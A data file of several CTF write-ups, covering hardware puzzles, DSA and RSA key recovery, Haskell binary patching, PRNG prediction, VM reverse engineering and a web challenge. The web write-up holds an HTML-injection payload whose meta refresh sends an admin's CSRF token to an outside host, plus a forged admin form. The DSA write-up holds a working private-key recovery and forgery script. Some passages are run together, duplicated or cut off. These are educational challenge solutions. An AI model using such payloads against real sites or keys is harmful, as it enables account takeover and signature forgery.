text_chunk
stringlengths 151
703k
|
---|
[topsecret.tar.gz](https://0xd13a.github.io/ctfs/pwn2win2017/top_secret/topsecret.tar.gz)
At first this challenge seemed intimidating because I forgot most of my high school physics :-) but it turned out that it requires very little physics or electronics knowledge.
We are given a circuit diagram with 9 input pins (0-8) and a text file with binary data representing signals sent to those pins:
```0 1 2 3 4 5 6 7 8
0 1 0 0 1 1 1 0 01 1 0 0 1 1 1 0 00 1 0 0 1 1 1 0 01 1 1 1 0 0 0 1 00 1 0 0 1 1 1 0 01 1 1 0 1 1 1 0 00 1 0 0 1 1 1 0 01 1 1 0 1 1 1 0 00 1 0 0 1 1 1 0 01 1 1 0 1 1 1 0 00 1 0 0 1 1 1 0 01 1 1 0 1 1 1 0 00 1 0 0 1 1 1 0 01 1 1 1 0 0 0 1 00 1 0 0 1 1 1 0 01 1 0 0 1 1 1 0 0
...```
From the diagram we can see that pins 1,4,5, and 6 have single transistors going in and the others have 2 transistors chained. From my limited knowledge the single transistor inverts the signal, and therefore two transistors chained essentially leave it untouched. Let's invert columns 1,4,5, and 6 in the first block of the message:
```0 1 2 3 4 5 6 7 8
0 0 0 0 0 0 0 0 01 0 0 0 0 0 0 0 00 0 0 0 0 0 0 0 01 0 1 1 1 1 1 1 00 0 0 0 0 0 0 0 01 0 1 0 0 0 0 0 00 0 0 0 0 0 0 0 01 0 1 0 0 0 0 0 00 0 0 0 0 0 0 0 01 0 1 0 0 0 0 0 00 0 0 0 0 0 0 0 01 0 1 0 0 0 0 0 00 0 0 0 0 0 0 0 01 0 1 1 1 1 1 1 00 0 0 0 0 0 0 0 01 0 0 0 0 0 0 0 0
...```
As you can see the image now becomes suspiciously similar to a bitmap of an uppercase letter ```C```, which would also be the first letter in the expected flag prefix. :-) Continuing to other blocks confirms that they are bitmaps for letters ```T```, ```F```, and so on. The signal in the first column seems to be the indicator of whether other pin signals in the row should be considered at all.
Let's automate the process. The following script inverts proper inputs and cleans up the data, printing the character images:
```pythonlines = open("Message.txt","r").readlines()[1:]
for x in lines: pieces = x.split() if len(pieces) == 0 or pieces[0] == "0": continue out = "" for y in range(1,len(pieces)): if y in [1,4,5,6]: out += "#" if (pieces[y] == "0") else " " else: out += " " if (pieces[y] == "0") else "#" print out```
When we run it, clear letter pictures appear:
```$ python solve.py
###### # # # # ######
###### ## ## ## ## ##
##### # # ##### # # #
...```
The flag is ```CTF-BR{LOCATE_AND_KILL_REMS}```. |
# GreHack 2017 - NEW DSA### Crypto - 100 pts
I think I did a major breakthrough in cryptography: I managed to implement the DSA algorithm without any need of a random source. After all, all we need is a nonce, right ?
Don't you dare tell me it's insecure: I tested it! But if you think you're smarter than me, I dare you to sign sign_me with my key just knowing the signature of signed which is signature.
Public key: public.pem Format expected for the signature (same as the file 'signature'): '(0000000, 0000000)'
192.168.4.30:4100 This challenge is about signatures with DSA. The text is pretty straightforward, it doesn't use random sources, which is a mistake. Indeed, When generating a DSA signature, you need to use your private key and a *cryptographically secure random* number (usually called `k`). If this number is not random and can be found, we can then retrieve the private key.
Indeed, looking at [DSA Algorithm](https://en.wikipedia.org/wiki/Digital_Signature_Algorithm#Signing), we get the signing step formula: ![s = k^-1(H(m) + xr) [q]](https://wikimedia.org/api/rest_v1/media/math/render/svg/c44c50d272b314bf958cc2757987d7ca93e3d789).
If we know `k`, we can then retrieve `x` (the private key) with the formula:  which translates to: 
Here, with a quick look at the `my_DSA.py` file, we can see that `k` is not random.`k` is only dependant on the message signed and the public key. So we can easily reconstruct the `k` value used for the signature given, recover the private key and use it to sign our own message.
For the solution, I had few problems during the challenge, the biggest one was that pip was apparently giving me the right version of pycrypto but when running it, the `importKey` method of DSA wasn't available. So I had to download the repository and build and install the package manually to make it work.
Solution:```pythonfrom Crypto.PublicKey import DSAfrom Crypto.Hash import SHA
# Regular Modinv code
def egcd(a, b): if a == 0: return (b, 0, 1) else: g, y, x = egcd(b % a, a) return (g, x - (b // a) * y, y)
def modinv(a, m): g, x, y = egcd(a, m) if g != 1: raise Exception('modular inverse does not exist') else: return x % m
# nonce Generation code from the my_DSA.py file of the challengedef nonce(msg, max_int): n = 0 for i in msg: n += i % max_int n = 53 * n % max_int n = (n - len(msg)) % max_int return n
if __name__ == '__main__': with open("public.pem", "rb") as public: public_dsa = DSA.importKey(public.read()) with open('signed', 'rb') as f: signed_msg = f.read() with open('signature', 'rb') as f: r, s = eval(f.read()) with open('sign_me', 'rb') as f: to_sign = f.read()
k = nonce(signed_msg, public_dsa.q) hashed_message = int.from_bytes(SHA.new(signed_msg).digest(), byteorder='big') x = (((s * k) - hashed_message) * modinv(r, public_dsa.q)) % public_dsa.q if x: print('Found private key !') else: raise Exception('Problem when calculating the private key')
private_dsa = DSA.construct((public_dsa.y, public_dsa.g, public_dsa.p, public_dsa.q, x)) to_sign_hashed = SHA.new(to_sign).digest() solution = private_dsa.sign(to_sign_hashed, nonce(to_sign, public_dsa.q)) print('Here is the signed message: {}'.format(solution))``` |
Check out [the detailed writeup](https://rootfs.eu/codeblue2017-common-modulus/)
Same as the Common Modulus 1 task, we calculate $c_1^{x}* c_2^{y} \mod n$, which gives us $m^3 \mod n$ where $m$ is the flag that we're looking for.
To recover the flag, we can calculate the cubic root of $m^3$ because it would still be smaller than $n$. |
Check out [the detailed writeup](https://rootfs.eu/codeblue2017-common-modulus/)
Same as the Common Modulus 2 task, but the GCD of $e_1$ and $e_2$ is 17, and the message is padded to the right with zeroes. The basic steps are the same, but we also have to calculate the padding, remove it and then take the 17-th root. |
# Challenge
* CTF: hxp 2017* Name: wreckme* Team: Top of the ROP* Points: 100 + variable points* Tags: rev baby misc
# Problem
Challenge binary (called "pain") is a 64-bit ELF executable. Running either `strings` or `ldd` on it shows that it is a Haskell dynamically linked program:
```bash$ ldd pain linux-vdso.so.1 => (0x00007ffd19381000)libHSbase-4.10.0.0-ghc8.2.1.so => not foundlibHSinteger-gmp-1.0.1.0-ghc8.2.1.so => not foundlibHSghc-prim-0.5.1.0-ghc8.2.1.so => not foundlibHSrts-ghc8.2.1.so => not foundlibgmp.so.10 => /usr/lib/x86_64-linux-gnu/libgmp.so.10 (0x00007fe8f6a7c000)libm.so.6 => /lib/x86_64-linux-gnu/libm.so.6 (0x00007fe8f6773000)librt.so.1 => /lib/x86_64-linux-gnu/librt.so.1 (0x00007fe8f656b000)libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007fe8f6367000)libffi.so.6 => /usr/lib/x86_64-linux-gnu/libffi.so.6 (0x00007fe8f615f000)libpthread.so.0 => /lib/x86_64-linux-gnu/libpthread.so.0 (0x00007fe8f5f42000)libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fe8f5b78000)/lib64/ld-linux-x86-64.so.2 (0x00007fe8f6cfc000)```
The missing shared objects are part of the GHC 8.2.1 runtime.
Since it is dynamically linked, `strings` (or, in this case, also `readelf --syms`) gives it away as a Haskell program via imports of e.g. `hs_main`, and all those `base_GHC*` functions.
There is no remote service for this challenge, so it is very likely that the flag is embedded in the binary. Thus, the "rev" tag. (Whether the "baby" tag is justified depends entirely on ones experience reversing Haskell binaries, I guess :-)
# Solution
There are at least two ways to solve this challenge: Monkey patching the binary to give the flag (quickest), or static reversal of all the relevant parts of the program. Here I will show the first one. It is properly also possible to solve this challenge without any Haskell knowledge at all, but I can't tell you how, because I don't know any techniques that are as quick to implement as the one I will show below.
First order of business is to get the program to actually run. Seeing as hxp later released a statically linked version of the program, I guess the missing GHC runtime shared objects posed a problem to quite a few teams during the CTF. Basically, you just need to install GHC 8.2.1 on your system and the libraries will follow. A quick hack is to get the GHC 8.2.1 distribution and simple extract the missing libraries, put them in your working directory and execute the binary with:
```bash$ LD_LIBRARY_PATH=`pwd` ./painhxp{not da flag}```
## Reversing Haskell Code
This will be more detailed than a "standard" write-up, since I wan't to use this opportunity to give a short introduction to "baby" Haskell reversing. It will not be a full tutorial on reversing Haskell code, nor on Haskell itself. Specifically, I will assume the reader to well versed in Haskell already.
There is actually excellent documentation on the GHC implementation of Haskell, both in terms of academic papers and actual implementation documentation (albeits parts of the GHC wiki are a bit outdated). Also the GHC source code is really nice. However, for this write-up to be of some minimal value to beginners, we have to learn a little bit about Haskell programs. The core concepts to grasp are:
* Haskell programs are executed in an abstract machine called the Spineless Tagless G-machine (or STG for short): [Commentary/Rts/HaskellExecution](https://ghc.haskell.org/trac/ghc/wiki/Commentary/Rts/HaskellExecution)* GHC compiled binaries are a mix of "normal" C code (mostly the Runtime System, called RTS) and compiled Haskell functions (both the user-specified ones and RTS functions) (GHC compiles through multiple stages of intermediate languages that are not important here).* Haskell functions don't use any of the "normal" calling conventions. Haskell functions have a stack and a heap (and corresponding SP/HP pointers) that are separate from the "standard" program ones. The STG registers are mapped by GHC during compilation to machine registers. The mapping can be seen here: [stg/MachRegs.h](https://ghc.haskell.org/trac/ghc/browser/ghc/includes/stg/MachRegs.h#L158)* Most (all?) Haskell objects (functions, values, etc.) are represented using a single indirection as described in [Commentary/Rts/Storage](https://ghc.haskell.org/trac/ghc/wiki/Commentary/Rts/Storage/HeapObjects). Thus, in the code, a value is a pointer to an instance of one of a set of pre-defined `StgClosure` structs, which in turn usually contains a pointer to the actual code as the first qword. (Actually, the pointer is a pointer to the "info table" in STG lingo which describes the closure; as a compile-time optimization, the info table is usually compiled next to the actual function code saving another pointer to the code.)
* Roughly speaking, the STG evaluates such objects (closures) if and when they are needed. Evaluation happens by setting up the required arguments and jumping (literally a `jmp` instruction) to the code suitable for evaluating the closure.
* The GHC wiki is full of good documentation. Another good resource is [Debugging/CompiledCode](https://ghc.haskell.org/trac/ghc/wiki/Debugging/CompiledCode)
* Learn more about the STG execution model with this awesome tool: [STGi](https://github.com/quchen/stgi)
## In Practice - Baby Steps
Phew, how theoretical! Let's dive into the actual reversing and figure out what this program does.
Usually this means firing up IDA, or BinaryNinja (or for some hardcore oldies, `objdump`). All these tools have the necessary features to get the job done. However, loading the binary in any of these tools reveals a depressing sight: very few functions, and almost none of the interesting ones, show up in auto-analysis. Very few reversing tools (actually, none that I know of) are familiar with GHC's conventions for Haskell code. Luckily most of them can by default tell you where the `main` function is and what it's instructions are. At least a starting point.
We see that the challenge program's `main` does a lot of initial stuff (that are not that interesting in this case), and then calls the imported function `hs_main` (using a standard amd64 calling convention):
```.text:4026DA lea rdx, off_4041A0.text:4026E1 mov rsi, rcx.text:4026E4 mov edi, eax.text:4026E6 call _hs_main```
This function, found in [rts/RtsMain.c](https://ghc.haskell.org/trac/ghc/browser/rts/RtsMain.c), actually kicks off Haskell execution (eventually):
```C// The rts entry point from a compiled program using a Haskell main// function. This gets called from a tiny main function generated by// GHC and linked into each compiled Haskell program that uses a// Haskell main function.//// We expect the caller to pass ZCMain_main_closure for// main_closure. The reason we cannot refer to this symbol directly// is because we're inside the rts and we do not know for sure that// we'll be using a Haskell main function.//// NOTE: This function is marked as _noreturn_ in Main.h
int hs_main ( int argc, char *argv[], // program args StgClosure *main_closure, // closure for Main.main RtsConfig rts_config) // RTS configuration
{ ...```
Aha! So, the third argument to `hs_main` is actually a pointer to a `StgClosure` - most likely the actual Haskell entrypoint function, i.e. `main` in something like:
```Haskellmodule Main where
main :: IO ()main = ...```
This means that the structure @ `0x4041a0` must be a closure, and that the first qword in this structure will point to the actual code defining `Main.main`. Indeed it does contain a value that could be a pointer to a function:
```.data:4041A0 off_4041A0 dq offset sub_4025D0 ; DATA XREF: main+B7?o.data:4041A8 align 20h```
In this case, IDA has already recognized this location as a function pointer. Going deeper into the tree of closures, even IDA has to give up automatically recognizing all the functions. Also, my version of BinaryNinja did not even recognize `0x4025d0` as the location of a function. Understandably so, since there are no actual `call`s to these locations.
So, whenever we come across such a `StgClosure`, we must manually tell our tool of choice that there actually is a function at the location of the corresponding info table (pointed to by the closure).
Forcing a function definition, if need be, at address `0x4025d0` reveals this code:
```sub_4025D0 proc nearlea rax, [rbp-10h]cmp rax, r15jb short loc_40261F /\ .------' `------------. V Vsub rsp, 8 loc_40261F:mov rax, r13 jmp qword ptr [r13-10h]mov rsi, rbx sub_4025D0 endpmov rdi, raxxor eax, eaxcall _newCAFadd rsp, 8test rax, raxjz short loc_40261D /\ .------' `----------------------------------------------------. V |mov rbx, cs:stg_bh_upd_frame_info_ptr |mov [rbp-10h], rbx |mov [rbp-8], rax |lea r14, off_404180 |mov rbx, cs:base_GHCziTopHandler_runMainIO_closure_ptr |add rbp, 0FFFFFFFFFFFFFFF0h |jmp cs:stg_ap_p_fast_ptr | V loc_40261D: jmp qword ptr [rbx]```
This is actually quite a common template for Haskell code. We can ignore all the blocks except the lower left one (ending in a `jmp cs:stg_ap_p_fast_ptr` instruction), as these relate to various runtime subsystems (heap allocation failures, etc).
So what does this function do? Well, it ends with an unconditional jump to `stg_ap_p_fast_ptr`. This function is one of many pre-compiled runtime functions that implement function application in the STG. So basically, it means "[in the] stg, ap[ply] [first argument (that must be a pointer to a function closure type) to a value passed as a] p[ointer]" (this is properly to simplified a description to STG purists, but it works for us, now).
What, then, is the function being applied, and what is the argument? Again referring to `MachRegs.h`, we learn that `rbx` is `R1` and `r14` is `R2` meaning that `base_GHCziTopHandler_runMainIO_closure_ptr` is applied to `off_404180` (which we can then infer must be another closure pointer of some type). And that's really all there is to it! Now you know enough Haskell reversing to solve this challenge.
(Side note: Before making the `jmp`, the code sets up some values on the Haskell stack (`rbp` is the STG `SP` pointer) which is what makes the STG work properly without the return address also pushed to the stack. This is what's called continuation frames, I think, and in essence, the `stg_ap_*` family pops from the stack to determine what to do next).
## Mapping Out Program
As we saw above, having all the symbols to the library functions helps a lot in reversing Haskell code, as a lot of user code will call into built-in functions. By the way, GHC uses something called Z-encoding to encode symbol names with special characters, see [compiler/utils/Encoding.h](https://ghc.haskell.org/trac/ghc/browser/ghc/compiler/utils/Encoding.hs) to learn how to decipher it.
What remains is to find the closures in the program that are user-defined and not just standard runtime functions. Going to the address we uncovered above and extracting yet another indirect function pointer leads to `0x402550`:
```0x402576:mov rbx, cs:stg_bh_upd_frame_info_ptrmov [rbp-10h], rbxmov [rbp-8], raxlea rdi, off_404140lea rsi, off_404160mov r14, cs:base_SystemziIO_putStrLn_closure_ptrmov rbx, cs:base_GHCziBase_zi_closure_ptradd rbp, 0FFFFFFFFFFFFFFF0hjmp cs:stg_ap_ppp_fast_ptr```
This is the body of the Haskell program's `main :: IO` function. Let's consider what Haskell code might have lead to this compilation. Decoding the named symbols and re-constructing the arguments according to the `stg_ap_ppp_fast_ptr` jump target results in:
```Haskellimport GHC.Base((.))import System.IO (putStrLn)
val_404160 :: Stringval_404160 = ...
val_404140 :: Stringval_404140 = ...
main :: IO ()main = (.) putStrLn val_404160 val_404140```
We know that the program prints the string `hxp{not da flag}` when run, so let's first see if we can determine how that came to be. Of course, `putStrLn :: String -> IO()` is responsible for putting the string to stdout. Examining first the closure @ `0x404160`, we can pretty quickly (just a couple of nested functions) reverse that into the following Haskell:
```Haskellval_404160 :: b -> Stringval_404160 = const "hxp{not da flag}"```
So this value is actually a function value, that takes a single argument which it discards, before returning a string literal: `hxp{not da flag}`. Looking closer at the other closure - the one that no function in the program really cares about - reveils something a little more interesting:
```Haskellval_4040c0 :: Stringval_4040c0 = ...
val_404140 :: Stringval_404140 = concat ["hxp{", val_4040c0, "}"]```
In Haskell, list literals are syntactic sugar for a sequence of applications of the cons constructor (`(:)`, e.g. `1:2:[]` is de-sugared version of `[1,2]`). Looking at how the list literal is compiled teaches a lot about how Haskell closures and evaluation works. In this case, the info table pointer of the closure corresponding to the list literal points to the `(:)` operator and has two value (closure) pointers as "payload", i.e. in this case the two arguments to the constructor: the head and the tail values. The tail value is another closure with the `(:)` constructor and a head and a tail, and so on, until you reach the `[]` constructor which is the empty list.
While an interesting challenge, we don't really need to go into this much detail about reversing the Haskell value @ `0x404140`. Assuming that this value holds the real flag, our job is to force evaluation of the closure and dump the resulting value (as opposed to the `const` function discarding it). Expressed in Haskell, we need a different `main`:
```Haskellval_404140 :: Stringval_404140 = concat ["hxp{", val_4040c0, "}"]
main :: IO ()main = putStrLn val_404140```
How would that look in compiled Haskell? Well, compile it and see:
```Bash$ cat Main.hsflag = "placeHolder"main = putStrLn flag
$ /opt/ghc/8.2.1/bin/ghc -o Main Main.hs [1 of 1] Compiling Main ( Main.hs, Main.o )Linking Main ...```
Decompile the `Main_main_info` function, and extract the code. Changing the closure offset to fit with the challenge program yields this snippet:
```mov rbx, cs:stg_bh_upd_frame_info_ptrmov [rbp-10h], rbxmov [rbp-8], raxmov r14d, offset off_404140mov rbx, ds:base_SystemziIO_putStrLn_closure_ptradd rbp, 0FFFFFFFFFFFFFFF0hjmp ds:stg_ap_p_fast_ptr```
Patch that into the main closure code (overwriting the current code @ `0x402576`), run the binary and see the flag appear :-)
```bash$ LD_LIBRARY_PATH=`pwd` ./patched_painhxp{HASSASINHASKELL}``` |
# A world without JS (400 points)
This challenge is a system for asking an invitation to an event. We're able to create an account and to ask the organizer to be invited to an event, with a comment.We fastly saw that the comment is vulnerable to an XSS; however, the Content Security Policy is blocking pretty much everything, and we're not able to include some javascript to trap the admin easily.
Here is the templating in charge of displaying our invitation demand to the admin :
```html
<html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="stylesheet" href="/css/bulma.min.css"> <link rel="stylesheet" href="/css/font-awesome.min.css"> <title>ARaaS - Administration</title></head><body> {{> navbar }} <section class="section"> <div class="container"> <h1 class="title"> Process invitation #{{ invitation.getId }} </h1> <hr> <div class="content"> {{{ invitation.getComment }}} </form></option><form action="/admin.php" method="post"> <input type="hidden" name="{{ anticsrf.getTokenName }}" value="{{ anticsrf.getToken }}"> <input type="hidden" name="id" value="{{ invitation.getId }}"> <div class="control"> <label class="radio"> <input type="radio" name="status" value="1"> Accept </label> <label class="radio"> <input type="radio" name="status" value="-1" checked> Reject </label> </div> <div class="field"> <button class='button is-success' type='submit' id='submit'> Process </button> </div> </form> </div> </div> </section></body></html>```
{{{ invitation.getComment }}}
<button class='button is-success' type='submit' id='submit'> Process </button>
What we control, and where we can inject HTML, is the *{{{ invitation.getComment }}}* part. The goal is to force the admin to accept our invitation.
Three things is to note :* The form is protected with a CSRF token; the code indicates that it's valid for 1028 requests :);* A line was added to prevent us from adding another <form> or to wrap everything in a <textarea>, a HTML comment or even a backtick and a double quote.* However, it doesn't prevent the injection of a single quote to capture most of the form.
My first idea was to play with <base> to redirect the form on another page, and eventually exfiltrate the form data, but found nothing interesting. Instead, I tried to exfiltrate the content of the page, using the ' tricks.
What came in my mind is the <meta> tag that permits to redirect any user to a controlled website. By injecting a <meta> tag with an url attribute beginning by a single quote, we can exfiltrate all of the form to another website.
The following payload```html<META http-equiv="refresh" content="0; URL='http://blakl.is/?```
will result in the following tag rendered to the administrator```html<META http-equiv="refresh" content="0; URL='http://blakl.is/?</p> <!-- "` --></form></option><form action="/admin.php" method="post"> <input type="hidden" name="csrf-token" value="ADMINTOKEN"> <input type="hidden" name="id" value="INVITATIONI"> <div class="control"> <label class="radio"> <input type="radio" name="status" value="1"> Accept </label> <label class="radio"> <input type="radio" name="status" value="-1" checked> Reject </label> </div> <div class="field"> <button class=' [...]>```
Consequently, the CSRF token will be leaked to http://blakl.is/ when the administrator will be redirected. By retrieving it, we can simply craft a new form to phish the admin.
The final payload is the following :
```html<form action="/admin.php" method="post"> <input type="hidden" name="csrf-token" value="LEAKEDCSRFTOKEN"> <input type="hidden" name="id" value="INVITATIONID"> <input type="text" name="status" value="1"> <div class="field"> <p class="control"> <button class='button is-success' type='submit' id='submit'> Process </button> </div></form>
<button class=' [...]>```
Consequently, the CSRF token will be leaked to http://blakl.is/ when the administrator will be redirected. By retrieving it, we can simply craft a new form to phish the admin.
The final payload is the following :
```html<form action="/admin.php" method="post"> <input type="hidden" name="csrf-token" value="LEAKEDCSRFTOKEN"> <input type="hidden" name="id" value="INVITATIONID"> <input type="text" name="status" value="1"> <div class="field"> <p class="control"> <button class='button is-success' type='submit' id='submit'> Process </button> |
# Luaky - Crypto - 257 points - 29 teams solved
> Are you luaky enough?>> nc 13.113.99.240 50216> > [luaky-b96e16b023d07964125fa8a401b62504.elf](./luaky-b96e16b023d07964125fa8a401b62504.elf)
# Very Luaky - Crypto - 342 points - 9 teams solved
> You need to be VERY LUAKY :)>> nc 13.113.99.240 50216> > [luaky-b96e16b023d07964125fa8a401b62504.elf](./luaky-b96e16b023d07964125fa8a401b62504.elf)
In these challenges you must create a Rock-Paper-Scissors bot written in [Lua](https://www.lua.org) that can beat the server. Each round is 100000 hands, and you have to win 90000 of them to get a win. There are three different players in the server, each using a different simple pseudorandom generator with `state` seeded from `/dev/urandom`:
* Slime, which uses `state = (state + 1) % 3; cpuhand = state`* Alpaca, which uses `state = ((state + yourlasthand + 0x9E3779B9) % 0x100000000); cpuhand = state % 3`* Nozomi, which uses `state = ((state * 48271) % 0x7fffffff); cpuhand = state % 3` You fight Slime for 1 round, then Alpaca and Nozomi for up to 10 rounds each, or till you lose, whichever comes first. To get the first flag you have to win 10 rounds against either Alpaca or Nozomi. To get the second flag, you have to beat 100 rounds where the bot is picked randomly for each round.
Your Lua script only requires one function, `play()`, which gives the CPU's last hand as input and expects your hand (0, 1 or 2) as output. There were no obvious security holes in the Lua jail (`os` and `io` libraries were not loaded), but you have access to `print` which greatly helps with debugging. In addition there is a time limit of 1 second for each round. (Someone told me post-contest that there is no time limit during the initial script load, so you could have used that time for computation instead)
Beating Slime is the easiest - just return the last hand the CPU did, and you win every time.
Beating Alpaca is a bit harder. Disregarding the `yourlasthand` for now since we control its content, we observe that `0x9E3779B9 % 3 == 0`. This means that if `state < (0x100000000 - 0x9E3779B9)`, then the next CPU hand will be the same as the last CPU hand. On the other hand, if `state >= (0x100000000 - 0x9E3779B9)` it will be changed by the modulus operation, and since `0x100000000 % 3 == 1` it means the next CPU hand will be predictably different from the last one. So by observing two previous CPU states you can narrow down which range `state` was in. We use two variables, `alp_low` and `alp_high`, that bound the predicted range of the CPU state. After a few rounds, this bound gets accurate enough that you can predict most of the CPU hands and therefore can easily beat it.
Beating Nozomi is the hardest. We spent quite some time trying to see if there's some mathematical way to use CPU hands to leak info about the state and rebuild it based on that, but didn't find any solution. After a while we started focusing on precomputation - we start with `state = 1` then generate a string consisting of the next 50 CPU hands after that state, then store it along with the next state in a lookup table. We generate 250000 such strings, spaced 9000 states apart. This is easy to do since the generator is basically a [cyclic group](https://en.wikipedia.org/wiki/Cyclic_group) - in Python, we can do `pow(48271, 9000, 0x7fffffff) = 1467418072` and then in Lua `state * 1467418072 % 0x7fffffff` is the same as skipping 9000 states ahead.
However, generating these strings takes quite a bit of time. We decided to spread the generation out over the rounds where we play against the other two bots. With the table ready, we can beat Nozomi. We take the last 50 CPU hands and see if it's in the table - if it is, we instantly know the next state from the lookup. Due to the way our table is constructed, we are guaranteed to find a lookup within the 9050 first hands, which gives us plenty of hands to win the round.
We got the first flag, and it is `hitcon{Hey Lu4ky AI, I am Alpaca... MEH!}`
For the second flag, we don't know which bot we're playing against in each round. So we use the first 50 hands to identify it - Slime is easy because it always changes hands predictably each round, and Alpaca is also easy since if you always pick 0 as your hand, it will either use the same hand as the last round or `(last + 2) % 3`, but never the remaining hand. If neither of those patterns fit, we know we're fighting Nozomi.
After 100 rounds we get the second flag - `hitcon{Got AC by r4nd() % 3! Nozomi p0wer chuunyuuuuu~ <3}` |
# impVM - Reversing - 400+100 points - 1 team solved
> ### Flavour text>> Our inside man in Company $x made us aware of a new DRM schem they are employing. By accident he was able to aquire the program they use to encode their data with (rev.cmp), unfortunately the decoding algorithm was out of his reach. Internal documents state, that they use a custom, highly secure, state of the art virtual machine (VM). Quickly thinking he punched a whole, with a round house kick, into the firewall to make the VM reachable from the internet. From promotional documents he also recoverd a second program, �BrainFuckInterpreter.cmp�. The name speeks for itself.>> ### Your goal>> * write a program that does the inverse of rev.cmp> * to initialize the challenge call #252. This overwrites the first 6 memory cells in global data.> * to check the solution call #253>> ## Download:>> [fbfcddf7315613e511e9a8910fb5a028c5ea02ec398dec5ba1427a7deb73842c.tar.xz](./fbfcddf7315613e511e9a8910fb5a028c5ea02ec398dec5ba1427a7deb73842c.tar.xz)>> ## Connection:>> nc 35.205.206.137 8080
(Challenge author's reference code can now be found at https://github.com/leetonidas/impVM)
In this challenge we have to figure out the inner workings of the Virtual Machine from the short description and the two example programs. We can do `nc 35.205.206.137 8080 < BrainFuckInterpreter.cmp`, and we get the familiar ["99 bottles"](http://www.99-bottles-of-beer.net/) text in response. Studying the interpreter program in a hex editor, we see that it has a central header and six data sections. The last of these contain the actual Brainfuck "99 bottles" program. Each section contains a number at the start, but it doesn't match up with the section sizes.
We look at the non-Brainfuck sections alongside each other, and see some obvious patterns:
000000000000011F 60180200201C0140315E00A0380280FF80280E00A07FFB802C0E00F7E0038020 0000000000000025 C01403A1C02C0140703FAC0303600A03F801C0140300A04C01607007BF600B01 0000000000000066 C0180200300C0140300A04C01607007BF600B0080700500CBB80280E00A03FE0 000000000000006E C0180200300C0140300F980502600B03803DF902600B03803DFB005804038028 000000000000002A C014070050160180280E00A0380280E00A03F600A05802817BE7B802C0E00F7E The most obvious pattern is that we see `C01` a number of times in the data. But the distance between the first and second occurence in those lines is 11 characters - so 44 bits, which isn't divisible by 8! Maybe instructions don't fit neatly into bytes? As a test, we dump the data as bit strings and try to split them in various sizes. It seems like 11 bits fits pretty nicely, at least at the start.
01100000000 11000000000 10000000000 01000000001 11000000000
But then after a while it goes "out of sync" - maybe the instruction size isn't fixed, but 11 bits per instruction seems like a good place to start. Revisiting the number at the start of each section - if we consider it the number of instructions instead, it almost fits with the section sizes, but not exactly.
Time to do some fuzzing - we replace the section of the `rev.cmp` program with random bytes and see if we get some results at all. After repeating this process for a while, we finally find a random byte string `7e2bf5b6a23daae62529...` that gives a "try harder next time" response from the server. This sounds like we somehow managed to call function number `253` as mentioned in the challenge description. We reduce the string until it doesn't work anymore, and find that `7e2bf5` is the smallest program that produces this message. We also reduce the instruction count in the program, and can reduce it to `2` with the message still showing up.
If we write this as 11-bit instructions it becomes `11000000000 01011111101 01`. The number `253` in binary is `11111101` so it matches the last part of the second instruction. From this we are reasonably sure the format is `[3-bit opcode 010 meaning CALL] [8-bit call number]`. At a hunch, we try to call function `255` instead - and get `\x00` as output! We try changing some of the lower bits in the first instruction too, and get a different character in return. So the first instruction is `[3-bit opcode 110 meaning LOAD IMMEDIATE] [8-bit immediate value]`.
We do several calls to `255` in sequence, and get the same byte repeated multiple times. At this point we assume it's a register-based VM, and the call simply writes what's in the "main" register. Since it seems like the opcodes are 3 bits in size, we try various opcodes to provoke some interesting results. One of them, `100 xxxxxxxx`, seems to load a value from memory - which is the last section of the files. It reads from the memory cell at `[main register] + xxxxxxxx`, and this also leads us to discovering that memory cells are 64 bits in size. We also discover that the instruction `101 xxxxxxxx` is able to bring "back" older after repeated usages of `LOAD IMM` - the VM is stack-based after all!
We have now mapped 4 of the potential 8 "basic" opcodes. At this point we have enough to start writing a very basic disassembler - using it on the example programs seems to show that the disassembly goes off rails once it encounters a `111` instruction. Experiments show that instructions of the format `1110xyyyyyy` corresponds to bitshifts left or right with `yyyyyy` being the number of bits, and we also realize that stack registers are 64 bit too. Instructions of the format `1111xx` are the only 6-bit instructions in the VM, corresponding to `NOT`, `AND`, `OR` and `set if stack0 <= stack1`.
There are now three remaining opcodes, and we are stuck for a while. `011` seems to do nothing, while `000` and `001` seems to instantly abort the running program. It's not until we start looking closer at the disassembled programs that we notice that the value following `000` and `001` always have a matching value following a `011`. It turns out `011` sets a jump target in the code, and `000` is `jump if zero` and `001` is `jump`.
We are still missing a way to write data to memory, and again a deeper inspection of the disassembled code is needed - some times the "load memory" instruction uses an offset of `0x80` or higher - turns out the highest bit is not part of the offset, but means it's a write instruction instead. The same goes for the stack access instruction. We now have the full instruction set:
000 xxxxxxxx jmpz n = pop(); if n == 0 then jump to labelxxxxxxxx 001 xxxxxxxx jmp jump to labelxxxxxxxx 010 xxxxxxxx call call function xxxxxxxx 011 xxxxxxxx label set labelxxxxxxxx at current position 1000 xxxxxxx loadram n = pop(); push(memory[n + xxxxxxx]) 1001 xxxxxxx saveram n = pop(); m = pop(); memory[n + xxxxxxx] = m 1010 xxxxxxx dup n = pop(); m = stack[top-n-xxxxxxx]; push(m) 1011 xxxxxxx place n = pop(); m = pop(); stack[top-n-xxxxxxx] = m 110 xxxxxxxx loadi push(xxxxxxxx) 11100 xxxxxx shl n = pop() << xxxxxx; push(n) 11101 xxxxxx shr n = pop() >> xxxxxx; push(n) 111100 not n = pop(); push(~n) 111101 and n = pop(); m = pop(); push(n & m) 111110 or n = pop(); m = pop(); push(n | m) 111111 setif n = pop(); m = pop(); if m >= n then push(1) else push(0) We can now write our own VM implementation, and a few hours later we've got the Brainfuck Interpreter running, and we're triumphantly staring at the output of "99 bottles".
----------
Now, with our own virtual machine, we can start studying `rev.cmp` in detail. We zero out all the example data in memory to see what a "blank" encryption looks like - and in the debug output of our VM we see a familiar constant scrolling by - `0x9e3779b9`. Could this be yet another implementation of the [Tiny Encryption Algorithm](https://en.wikipedia.org/wiki/Tiny_Encryption_Algorithm)? The ciphertext results don't match the reference implementation, though, but the constant and the left shifts by 4 and right shifts by 5 means it's something very similar.
We notice that the memory access pattern of the encryption keys is irregular - and remember that this is a property of the [XTEA](https://en.wikipedia.org/wiki/XTEA) algorithm, a slightly more advanced variant of TEA. And the ciphertexts matches with the result of the XTEA reference implementation.
